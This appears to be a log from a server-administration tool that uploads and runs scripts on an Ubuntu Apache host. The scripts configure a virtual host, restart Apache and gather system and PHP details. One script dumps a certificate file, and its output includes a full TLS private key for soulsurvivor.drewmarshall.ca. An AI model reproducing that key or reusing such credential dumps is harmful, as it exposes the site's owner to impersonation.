    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-01 06:00:19: 

PUT: /tmp/pkp698119

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-01 06:00:19: 

chmod 755 /tmp/pkp698119; /tmp/pkp698119; rm /tmp/pkp698119

2025-09-01 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt	5385
d1:87:83:6f:e6:27:5c:ec:3d:32:21:15:1c:ec:12:66

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBaghg5AYzwokZt/ZCe/gx6agMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTAxMDUwMTQ4WhcNMjUxMTMwMDUwMTQ3WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAqRd0rZmlG04oX/OsGZjk0Muce4k+hmF+4bd358zr64Oj
8B/320IWLb885i436teXcyrLDJE2VBScZkzvzZu7TaMw4mzRIdn36gzHTQsXbmhh
6Pwad2htuOzTnpn1v4pZQ+o4qijk8pGeA2hDBOlE60s+DCX6UFE/XbgnPCbeR629
LLeDepT30k5A0/zEvd+4UK7mVvN++aNw3/DJc60gJsVDRHPYPUABxVhYZUgqOdXr
yZb8oGsCHCv9eRRd/APVjG4zjiEo48XkN45Ebnq0yD1WHgByCX3ik8iuII1r25q2
bf7xhWvsdlQ92/M1HNTxzo9fGQs96BsU0pjxP6UuXQIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTpJqrtqHTIWs8CgoTl2lkbt0FyMjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8O
Qh60fk6qNAAAAZkD3K5DAAAEAwBHMEUCIQDAKFK1YqiDeJVZiEZqrnqW5xwiD5kY
n0OP9pWa2T/vugIgOaCfyYgiZgcJK2vNka0/t0MdM87loJtaRdSRS7mxbEUAdgAa
BP9J0FQdQK/2oMO/8djEZy9O7O4jQGiYaxdALtyJfQAAAZkD3K6TAAAEAwBHMEUC
IBxHkIPW0sYQWsZ8dbjYpRB715TUnNI7O5DwkEP9xxzJAiEAqXC4Kt/xVSZgAPYW
outC8VIs7CiC/7vQ7As6l4zdyrwwDQYJKoZIhvcNAQELBQADggEBAIjO3KJEzTtx
2keFUVPjd5I2MIzKRekTw9/mG4iFB5+/OuwwyiYL9P3j1bUr5hJaxDeXHKMZH3EO
6RFMCY3klWfIqlM9BEZzMyvJcpzDcmNSDJZM4B+tQbU5p8+drTHWAnGEinmqPv5l
onY+eCNNic1gp7h2VaQtq8NFA0lO/y3uQlxFF8SHi4f8T1E7EwQXqCRDzABx5IA2
1qzgAE5iD0H3QDnw9mxN6i7dXOhV6ksaS6+2jRdNUKUseeBIx/qXUKvbqaPjixxG
y57/M0R47ydbdEfakmFHBZAneXdgKEeq/MkTYV4n/YhzYowr/Ud4XBtyA0NCE6+l
VQBshUpmqLY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpF3StmaUbTihf
86wZmOTQy5x7iT6GYX7ht3fnzOvrg6PwH/fbQhYtvzzmLjfq15dzKssMkTZUFJxm
TO/Nm7tNozDibNEh2ffqDMdNCxduaGHo/Bp3aG247NOemfW/illD6jiqKOTykZ4D
aEME6UTrSz4MJfpQUT9duCc8Jt5Hrb0st4N6lPfSTkDT/MS937hQruZW8375o3Df
8MlzrSAmxUNEc9g9QAHFWFhlSCo51evJlvygawIcK/15FF38A9WMbjOOISjjxeQ3
jkRuerTIPVYeAHIJfeKTyK4gjWvbmrZt/vGFa+x2VD3b8zUc1PHOj18ZCz3oGxTS
mPE/pS5dAgMBAAECggEASQjjkbQid2fL0p36QNgkRPcdMNK32e00k6PeO5XsdL5Y
SfhU4zRpRfsq/7UI2/ug49Kg/12dXLXGU/15OpLAVSlejP45Wmi+Ry6byvA2f67A
U5TIjbjiY5SPVxri5YeJROde8EhXk1pIKOqYv/9NkF/gffjNZHGjcASBld6n9ccl
/usQuaeegoNDSQgj0JBp+7QZ1j6gm2c9N+lCHGq1UY7yyvwf1SF/Oi7jMwKCuh8r
YvwG+RJnI6uQY5BacD/c/KBIDkMcQs3BKWHzUhKpm6zuvRswlqZGzUPSSx1IrZjm
UkPjejY+JRFTEBzVTxGS4BbZm3IBHNpiRiD0l90foQKBgQDg5YTpNBCpuV6rAtnd
n4qIuB6Vy/obNDiEw+a1zpPrMQ+/bRwrbSqFwCl/gaCR6rIVwPLwwlkHR4/9KLV8
glyaakvk9xJSSC2K9aH8ycGqxM/nhbMTk5CX8bQf+j6jWIOp9oTz7N77NytGkKan
ps5m2IPXME5zw7eHKaIDUpAbeQKBgQDAeiiKTDq0uV+Hq4Bs0r5SsYhZ7Vaav15r
FOrrxjDlDBlMzUS/jI+I9KQauCOWIgfsMH4eEk/yANFShR/2tqHWvBwPiFCy5294
sTIU8brlXYHCLSvUI4NN6T1RuGBZFfIImDHZ8dm/Tfp4nXZEcW6zGaAc0ex41N9H
cKpb4YuNBQKBgB6AAh5+aSQbd7NJl7JuyKLyFXPLTggSdPfMeaV+dqEW7kPP0Foz
W+j3vqkEM3qWkcBRgqEUOm66TdTPiI1yQIzQjapnt5xhHYwS8/0Mf69hMbD8eOTW
xm1U4lDT51rPzktmm3FZVoRLXxsa0v85qBRamMa+TmV0zZcPFmHM+K5BAoGATzq5
r1v7mmLoCO+2uJTzVRTRHLtOt/poQknk/dKiU9ZsH6orT3Hrr6OMXZdIxscRXc8E
Sxqcn/BoOcCkzKiW686Y+mfRWCNeRl8iT27F0R5xiF2Rugw4Q3zsCdSMjH81FwaX
FrCwQkg1/ypKAZhzyfOVbeeXoJF3q2+cIKAyEoUCgYAdpjvnmQ4hD8FzFgUBlfbT
MiygnboIWrAxC+v+JqzGcTF7KyDJDIr7wV3IUgyujiAKbljNQoOEjitwXixPMexS
yWNIpbIRX14ZPXUH2aZ+ozvthYRdfwSeYHM7fbvJdM/0ghUZFmkrHnL6vsPRgX1N
2gP5JlYrBX/JEEs+c6IbBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-04 14:49:47: Establishing a connection
2025-09-04 14:50:06: Establishing a connection
2025-09-04 14:50:07: 

PUT: /tmp/pkp304622

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/pjy_alive_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-04 14:50:08: 

chmod 755 /tmp/pkp304622; /tmp/pkp304622; rm /tmp/pkp304622

2025-09-04 14:50:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/pjy_alive_us.conf 0



2025-09-04 14:50:08: 

PUT: /tmp/pkp714695

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=sites-available/pjy_alive_us.conf
DOCROOT=/var/www/pjy_alive
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf'
	echo 'file(/etc/apache2/sites-available/pjy_alive_us.conf= 1'
fi


2025-09-04 14:50:09: 

chmod 755 /tmp/pkp714695; /tmp/pkp714695; rm /tmp/pkp714695

2025-09-04 14:50:09: 


link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
file(/etc/apache2/sites-available/pjy_alive_us.conf= 1


2025-09-04 14:50:09: 

PUT: /tmp/pkp200461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-04 14:50:09: 

chmod 755 /tmp/pkp200461; /tmp/pkp200461; rm /tmp/pkp200461

2025-09-04 14:50:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-04 14:50:09: Performing Server Status
2025-09-04 14:50:09: 

PUT: /tmp/pkp296994

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-09-04 14:50:10: 

chmod 755 /tmp/pkp296994; /tmp/pkp296994; rm /tmp/pkp296994

2025-09-04 14:50:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		1280		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-79-generic



2025-09-04 14:50:10: 

PUT: /tmp/pkp210031

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-09-04 14:50:10: 

chmod 755 /tmp/pkp210031; /tmp/pkp210031; rm /tmp/pkp210031

2025-09-04 14:50:11: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1308
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1308  0.0  0.2 256004 35252 ?        Ss   Aug29   0:15 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-09-04 14:50:11: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-09-04 14:50:11: 

PUT: /tmp/pkp739642

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-09-04 14:50:11: 

chmod 755 /tmp/pkp739642; /tmp/pkp739642; rm /tmp/pkp739642

2025-09-04 14:50:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-09-04 14:50:12: 

PUT: /tmp/pkp118768

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-09-04 14:50:12: 

chmod 755 /tmp/pkp118768; /tmp/pkp118768; rm /tmp/pkp118768

2025-09-04 14:50:12: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.25
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.12


2025-09-04 14:50:12: 

PUT: /tmp/pkp729326

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

